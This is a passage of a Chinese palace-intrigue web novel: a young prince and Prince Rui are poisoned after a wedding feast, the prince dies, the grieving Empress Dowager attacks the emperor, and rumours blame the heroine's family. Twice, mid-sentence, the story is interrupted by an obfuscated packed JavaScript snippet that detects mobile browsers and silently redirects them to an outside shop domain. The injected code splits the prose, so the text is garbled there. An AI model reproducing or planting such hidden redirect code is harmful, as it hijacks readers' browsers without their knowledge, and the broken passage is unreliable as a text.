夏清圆终于缓缓直起身。眼睛红肿着，脸上泪痕狼藉，在宫灯下看得分明。 她垂着眼，没有看他，只是抬手用袖口胡乱擦了擦脸。 萧翊目光在她狼狈的脸上停留了一瞬，很快又移开，重新落回那本话本上。 仿佛刚才那片刻脆弱的依靠与无声的抚慰，从未发生过。 “这本《月下奇缘》，”他忽然用书脊轻轻敲了敲扶手，语气里带着一丝极其浅淡的、近乎虚无的嘲意，“结局不好。才子高中，另娶高门，佳人投河，香消玉殒。” 他抬眼，看向她，“你往后，少看这些。” 夏清圆心脏一缩，酸意又上涌。 他什么都知道。知道她此刻的眼泪不止为家庭决裂而流，更为前路茫茫、身似飘萍而流。 他用一个话本的结局，点破她的犹疑——在这条路上，没有才子佳人的幻梦。 “是。”她哑声应道，声音还带着浓重的鼻音，却已恢复了平稳，“臣妾去梳洗。” 听着她细微的脚步声远去，目光落在书页间那句才子佳人的海誓山盟上，指尖无意识地，将那页纸折起了一个小小的角。 殿内灯火如豆，将他独自坐在摇椅中的身影拉得很长，投在冰冷的金砖地上，清晰而孤独。 窗外，夜色正浓。 而临华宫里的两个人，一个在洗去泪痕，一个在翻阅闲书，各自消化着属于各自的、无法言说的代价，也默许着彼此之间，这种建立在清醒与利用之上、却能暂避风雨的，孤独的共生。 寅时，帘帐被夜风卷起一角，漏进殿外摇晃的灯影。 夏清圆睡得浅，那阵由远及近的骚动刚起时，她便蹙着眉在枕上不安地动了动。 先是远远传来几声压抑的呼声，像针一样刺破寂静，听不真切，却搅得人心慌。 紧接着，纷沓的脚步声由缓至急，朝着大皇子暂居的偏殿方向涌去，中间夹杂着器物碰撞的脆响和压抑的、变了调的催促。 她迷迷蒙蒙，眼皮沉重得抬不起，可“宣太医”三个字，像一道利箭，猝然刺进她混沌的意识里。 宣太医？ 她猛地睁开眼，心脏在胸腔里狠狠一撞，震得耳膜嗡嗡作响。几乎同时，身侧一暖，萧翊的手臂已环过来，带着睡意未消的沙哑：“怎么了？” “外面……”她只吐出两个字，喉咙干涩发紧。 殿门恰在此时被叩响，声音急促却克制，是吴全顺特有的、分寸拿捏到极致的节奏。 萧翊显然也听到了外面的动静，他没立刻应声，而是先伸手探向床边矮柜上的火折子—— “嚓”一声轻响，一小簇橘黄的光晕亮起，驱散了咫尺的黑暗，映出他微凝的侧脸。 他侧目，见夏清圆拥着被子坐起，单薄寝衣下的肩胛微微耸着，显然是惊着了。 他转身从衣桁上取下她那件厚实的披风，抖开，将她连人带被子拢住，又仔细将系带在她颈前打了个结。 动作一气呵成，没什么多余的情感流露，却莫名让夏清圆冰凉的手指回暖了一瞬。 “进来。”萧翊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946022|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才扬声，声音已恢复了惯常的沉静。 吴全顺几乎是弓着腰小碎步急趋而入，甚至来不及像平日那样先觑一眼皇帝脸色，便扑通跪倒，声音带着极力压抑的颤抖：“皇上！大殿下……大殿下突发急症，上吐下泻，嘴唇都泛了青紫！太医已赶过去了！” 夏清圆脑子里“嗡”的一声，像是被人用重锤狠狠砸了一下。 萧昀晚上用的是夏府小厨房单独备的席面，每一道菜、每一盏汤，从食材到烹制，再到呈上来前的银针试毒、内侍尝膳，她都让周全和锦娘死死盯着，绝不可能有岔子！怎么会…… 她下意识地攥紧了披风边缘，指尖陷进柔软的绒毛里，骨节绷得发白。 不是吃食的问题，那会是什么？毒？可谁能在夏府，在她眼皮底下，对皇子下毒？ 寒意顺着脊椎窜上来，比殿外的夜风更刺骨。 她猛地抬眼看向萧翊，嘴唇动了动，想说什么，却发现喉咙被恐惧堵得严严实实。 萧翊的脸色在跳动的烛光下显得异常冷峻，眸底深处似有寒星闪烁。他没问细节，只沉声道：“太医怎么说？” “太医正在施针用药，只说……症状来得急，需得严密观察，眼下……暂无性命之忧。”吴全顺的“暂无性命之忧”几个字，说得格外艰难。 暂无性命之忧……夏清圆的心刚往下沉了半分，殿外廊下，一阵更加急促、几乎堪称慌乱的脚步声骤然响起，直冲寝殿而来，伴随着宫人惊慌失措的阻拦声：“肃月姑姑！皇上已经安寝，您不能……” “皇上！皇上！”肃月嬷嬷的声音穿透殿门，是她从未有过的尖利与惊惶，彻底失了平日的镇定。 萧翊眉峰骤然锁紧，眼中厉色一闪而过。吴全顺立刻起身，快步过去拉开了殿门。 肃月嬷嬷几乎是跌撞进来的，她向来梳得一丝不苟的发髻散乱了几缕，脸色惨白如纸，连呼吸都带着破碎的抽气声。 她一眼看到御榻上的萧翊，也顾不得还有夏清圆在场，噗通跪倒，以头抢地，声音抖得不成样子： “皇上！瑞王殿下……瑞王殿下他……怕是不行了！” 萧翊霍然起身，带得榻边烛火剧烈一晃。 夏清圆只觉得一股冰水从头浇到脚，连心跳都漏了几拍。萧昀只是上吐下泻，瑞王……怎么会“不行了”？ 在夏府，瑞王那边是太后宫中自带的人手看顾、亲自验菜的…… 肃月嬷嬷抬起头，老泪纵横，额上已磕出一片红痕：“殿下用过晚膳不久便说腹痛，起初以为是积食，谁料转眼间便高烧抽搐，口吐白沫，脸色……脸色已呈青黑！太医用了针，灌了药，全然无效！殿下气息越来越弱，脉搏几乎摸不到了！太医说……说是中了极凶猛的剧毒，他们……他们束手无策啊皇上！” 每一句话都像重锤，砸在夏清圆心口，砸得她头晕目眩，浑身发冷。 这是一个局！一个针对她，甚至针对夏家、针对皇帝的毒局！ 对方算准了时间，算准了反应，用大皇子与瑞王的命做反扑，要彻底毁掉皇上的新政之路！ 毒？ 毒！ 她如醍醐灌顶般，在巨大的恐惧中猛地抓住一线生机！ “皇上！臣妾舅母在京中！裴家不在朝这几年四处游历，或许见过宫中太医未识之毒！” 萧翊的目光落在夏清圆煞白的脸上，停留了一瞬。那一眼很短，却穿透了她所有的惊慌与恐惧。 “吴全顺。” “奴才在！” “持朕令牌，开宫门，调禁军快马，即刻前往裴府，请裴夫人入宫。告诉她，瑞王危殆，务必尽力。” 他顿了顿，目光如寒冰利刃，扫过跪地哭泣的肃月，“太医院一切药材，一应所需，不必回禀，即刻取用。” “奴才遵旨！”吴全顺重重叩首，爬起来便往外冲。 “肃月，”萧翊的目光转向地上僵住的老嬷嬷，语气陡然转厉，带着山雨欲来的威压，“你即刻回太后处禀明情况。告诉太后，朕已下旨全力救治瑞王。在大夫到来、查明毒源之前，夏府内外，由朕的亲卫接管，任何人——无朕旨意，不得擅动，不得用私刑。违者，以谋逆论处！” 这不仅仅是保护现场，更是将夏家暂时置于他的羽翼之下，隔绝了有人浑水摸鱼可能伸来的黑手。 肃月嬷嬷被他话中的杀意激得一颤，连哭都忘了，慌忙叩首：“老奴……老奴遵旨！”连滚爬起，踉跄着退了出去。 40. 混乱 夜色如墨，赵羯领着禁军疾驰至夏府时，门楣上的红绸还在风中飘荡，昨日的喜庆气息尚未散尽。 夏翀披衣开门，见门外火把通明、甲胄森严，心头猛地一沉。 “赵统领，这是……” 赵羯抱拳，面色凝重：“夏大人，宫中出了些变故。皇上命末将前来护卫府上，请大人约束家眷，暂不要外出。” 他说得客气，可那“护卫”二字背后的意味，夏翀如何听不出来？ “可是婉昭仪……”夏翀声音发紧。 赵羯垂目，三缄其口：“末将职责所在，不敢多言。” 夏翀望着这位素来豪爽的禁军统领此刻的沉默，一股不祥的预感如冰水灌顶。 他想起昨夜女儿离去时那双空洞的眼睛，想起自己那记耳光——悔恨与担忧如毒藤般缠绕上来。 与此同时，另一队禁军已抵达裴家京中居所。 带队的校尉推开虚掩的大门，心头便是一凛。 院中一片狼藉。 药杵翻倒，晒药的竹匾碎裂在地，各色药材散落得到处都是，被夜风卷起，飘散着苦涩的气息。 书房的门大敞着，借着火把的光，能看见里头的医书、账册被胡乱抛洒，显然刚经历了一场仓促的搜掠。 “搜！”校尉厉声下令。 禁军迅速散开，仔细探查。 厢房内，裴夫人的行囊还在，几件换洗衣物叠得整整齐齐，妆台上的梳篦还摆在一旁，妆匣未锁，里头的首饰一件不少。 唯独人，不见了。 校尉蹲下身，指尖捻起地上一小撮灰白色的粉末，凑到鼻尖一闻——是某种药材燃烧后的余烬，还带着温热。 他脸色骤变。 这现场，有两种可能：要么裴夫人遭人绑走，对方在搜寻某物；要么……就是她自己毁去痕迹，畏罪潜逃。 而无论是哪种，都与宫中皇子中毒之事脱不了干系！ “速回宫禀报！”校尉猛地起身，声音里带着压不住的惊惶。 慈安宫寝殿内，浓烈的药味混着一种甜腥的、不祥的气息。 萧翊踏入时，正看见最后一口黑血从萧瑞嘴角溢出。孩子的身体在明黄锦被下剧烈地抽搐了一下，随即，彻底瘫软下去。那双肖似太后的、总带着骄矜好奇的眼睛，睁得大大的，瞳孔却已散开，倒映着宫灯冰冷的光。 跪在榻前的太医手一颤，银针“叮”一声掉在金砖地上。他伏下身，额头死死抵着地面，声音破碎：“臣……臣等无能……瑞王殿下，薨了。” 那个“薨”字，像一把生锈的钝刀，在死寂的殿内锯过。 太后就坐在脚踏上，握着萧瑞的一只手。从萧翊进门到太医宣判，她一动未动，甚至连眼睫都未曾颤动。仿佛所有的感官都已关闭，只余一具被抽空灵魂的躯壳。 直到太医说出那个字。 她握着儿子的手，几不可察地，收紧。指节因为用力而泛出青白色，指甲几乎要嵌进孩子已无生气的皮肤里。 然后，她缓缓地、极其缓慢地，转过头来。 目光先是落在太医颤抖的脊背上，空洞，茫然。接着，她看到了站在光影交界处的萧翊。 那一瞬间，她眼中有什么东西，活了过来。不是悲痛，不是眼泪，而是一种被冰封了无数年的、混合着剧毒与疯狂的恨意，骤然解冻、沸腾！ “呵……”一声极其轻微、仿佛从喉咙深处挤出来的气音。 她松开了萧瑞的手，那只手无力地垂落在榻边。她撑着床沿，慢慢站起身。动作很稳，甚至带着一种诡异的优雅，可每一个细微的颤抖，都泄露着内里已然崩塌的天地。 “萧翊。”她唤他，声音嘶哑，却字字清晰，不再是“皇帝”，而是那个她从未真心接纳过的、养子的名字。 “你看见了？”她指着榻上的萧瑞，指尖平稳得可怕，“我的瑞儿。他昨天早上，还缠着哀家，说要出宫去看成亲的热闹。” 她向前走了一步，宫灯将她的影子拉长，如鬼魅般覆上萧翊的袍角。 “哀家两个儿子。”她顿了顿，每个字都像在咀嚼玻璃渣，“第一个，死在东宫，死的时候，身边只有你这个‘好弟弟’。” 她的目光死死锁住萧翊，眼底的血色越来越浓：“先帝查了，却没查出结果。好，哀家认了，是武仁命薄，是老天无眼。” “现在，”她的声音陡然拔高，尖利得几乎刺破耳膜，“哀家最后一个儿子！死在你一手提拔的夏家！死在你力排众议的婚宴上！死在你要‘革新除弊’的当口！” “先帝他当年瞎了眼，把你这个孽障从冷宫接出来！” 她环顾四周，目光扫过那些噤若寒蝉的太医、宫人，最后回到萧翊脸上，声音低下去，却更加怨毒，如同诅咒： “萧翊，你听好了。武仁的死，哀家忍了。因为他是太子，他的死能让某些人安心坐上龙椅。” “但瑞儿……他只是一个孩子。他挡了谁的路？嗯？” 她倾身向前，气息几乎喷在萧翊脸上，一字一顿： “是你。是你的新政，你的党争，你的江山！是你的穷折腾，惹来了报应！却让我的瑞儿……替你受了这天谴！” 话音落地的刹那，她眼中的疯狂彻底吞噬理智。毫无征兆地，她抄起手边小儿上那尊沉重的、用来镇纸的青铜瑞兽，“呼”地一声，用尽全身力气，朝着萧翊的头颅砸去！ “太后！”惊呼四起。 一道月白色的身影，如同早就计算好角度般，从斜刺里抢出，不偏不倚，挡在了萧翊身前。 “砰！” 一声闷响。是沉重钝器砸在肩胛骨上的、令人牙酸的闷响。 段云柔连哼都没哼出一声，整个人像断了线的风筝，软软歪倒，额角擦过紫檀柱，留下一道血痕。月白衣衫下，左肩迅速塌陷下去一个不自然的弧度。 青铜瑞兽“哐当”落地，滚了几圈，停在萧翊脚边。 太后保持着挥砸的姿势，僵在原地。她看着倒地不起的段云柔，看着自己颤抖的、空荡荡的手，眼中的疯狂如潮水般褪去，露出底下无边无际的、冰冷的死寂和……一丝极快掠过的、了然的讥诮。 她缓缓放下手，整理了一下丝毫未乱的袖口。 “好……”她轻轻点头，声音恢复了平日的平稳，却比任何尖叫都更令人胆寒，“皇上真是好手段。连哀家身边最后一条狗，都驯得这般……忠心护主。” 萧翊没有去看段云柔，他的目光始终落在太后脸上。方才那雷霆一击，他本可以轻易避开，甚至制住太后。 段云柔的举动，与其说是“救驾”，不如说是一场心照不宣的、打断太后彻底疯狂的“表演”。 “母后悲痛过度，神思昏聩。”萧翊开口，声音里听不出丝毫情绪波澜，只有帝王的绝对冷静，“肃月，扶太后回后殿静养。即日起，慈安宫闭宫，一应事务，由朕亲自处置。无朕手谕，任何人不得出入惊扰。” 他顿了顿，目光扫过榻上萧瑞小小的尸身，最后落回太后那双深不见底、仿佛燃尽了一切的眼睛上： “瑞王之事，朕与母后，同此悲恸。正因如此，下毒真凶，朕便是将这京城掘地三尺，也必将其揪出——” 他的声音陡然转厉，如同出鞘的寒铁，在殿中激起无形的回声： “千刀万剐，挫骨扬灰，以慰瑞王在天之灵。” 临华宫内，灯火通明。 夏清圆坐在萧昀榻边，手里握着湿帕子，一遍遍擦拭孩子滚烫的额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946445|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 萧昀昏昏沉沉，脸颊烧得通红，嘴唇却泛着不正常的青紫色，时不时抽搐一下，嘴里含糊地念叨着：“母后……母后……” 那声音又轻又碎，像受伤的小兽在呜咽。 夏清圆听着，心头一阵阵发紧。 她想起昨夜父亲那记耳光，想起自己吼出的那些伤人的话 ——此刻，看着眼前这孩子奄奄一息的模样，她竟忽然有些懂了。 懂了父亲为何宁愿清贫，也不愿卷入权斗。 因为有些代价，太重了。 周全悄步进来，“祁二爷那边递了消息过来。兰婕妤之前说的‘贵客’，祁二爷托人打听到了——上月，的确有几辆挂着蜀地商号的马车进了京，包下了城西的‘福来客栈’。但昨日夜里，那几辆车又悄悄走了，去向不明。” 夏清圆记下，可眼前的事显然更紧要，问：“裴夫人可进宫了？” 周去摇头：“消息刚入宫，裴夫人……失踪了。” 夏清圆指尖一颤，湿帕子掉在锦被上。 舅母失踪，难道只是为了阻拦她进宫施救吗？ 忽然，窗外传来丧钟声。 整整七下，她脸色也一点点白下去。 瑞王，竟这样，说没就没了？ 所有的线索，都像一张精心编织的网，将夏家、将她、甚至将皇上，牢牢困在中央。 而织网的人，甚至不屑于隐藏——他要的就是这样明目张胆的嫁祸，要的就是让所有人都看清楚：皇上的新政，一击即碎。 可为什么是瑞王？ 同样是中毒，瑞王中的是见血封喉的烈性毒，几个时辰便没了性命。 而萧昀中的毒看似凶险，却似乎没有那么“急”。更像是一种警告，一种示威，一种……障眼法。 借两人同时中毒，将所有人的注意力都引到“夏府婚宴有毒”这件事上。 而真正要杀的，或许从一开始，就只有瑞王。 为什么？ 瑞王是太后的幼子、康王的亲外甥，为什么他必须死？ 这件事，又与悄悄入京的“蜀地贵人”有什么联系？ “母后…母后…”夏清圆的思路被萧昀的呢喃打断。 明日，皇后就要出宫，前往大相国寺“祈福”。从此青灯古佛，恐怕此生再难回宫。而萧昀若真有个万一…… “周全，”她忽然开口，声音有些哑，“你去一趟凤仪宫。就说……大皇子病中念母，请皇后娘娘过来看看。” 周全一怔：“主子，这……皇后还在禁足……” “去。”夏清圆打断他，目光坚定，“皇上若怪罪，我一力承担。” 这是她此刻，唯一能做的，遵从人性的选择。 然而，宫外的风暴，来得比她想象的更快。 天刚蒙蒙亮，京城各处茶楼酒肆、街角巷尾，便已有流言如野火般蔓延开来—— “听说了吗？瑞王殿下没了！死在夏府的婚宴上！” “夏家？就是那个女儿刚封了昭仪的夏家？啧啧，真是祸水啊……” “何止是祸水！我看是妖孽！皇上自打宠了她，又是科举改制，又是打压老臣，如今连祖宗规矩都不要了！这才遭了天谴，报应到瑞王殿下身上！” “要我说，这就是武仁太子在天之灵看不下去！当年太子也是中毒死的，如今瑞王又是……你们说，会不会是……” 流言被引导着，越传越邪，越传越毒。 从“红颜祸水”，到“霍乱朝纲”，再到“天道示警”。 最后，竟有人公然议论，说皇上得位不正，才惹来天怒人怨，武仁太子与瑞王之死，皆是上天降罚。 而这一切的源头，都指向夏家，指向夏清圆。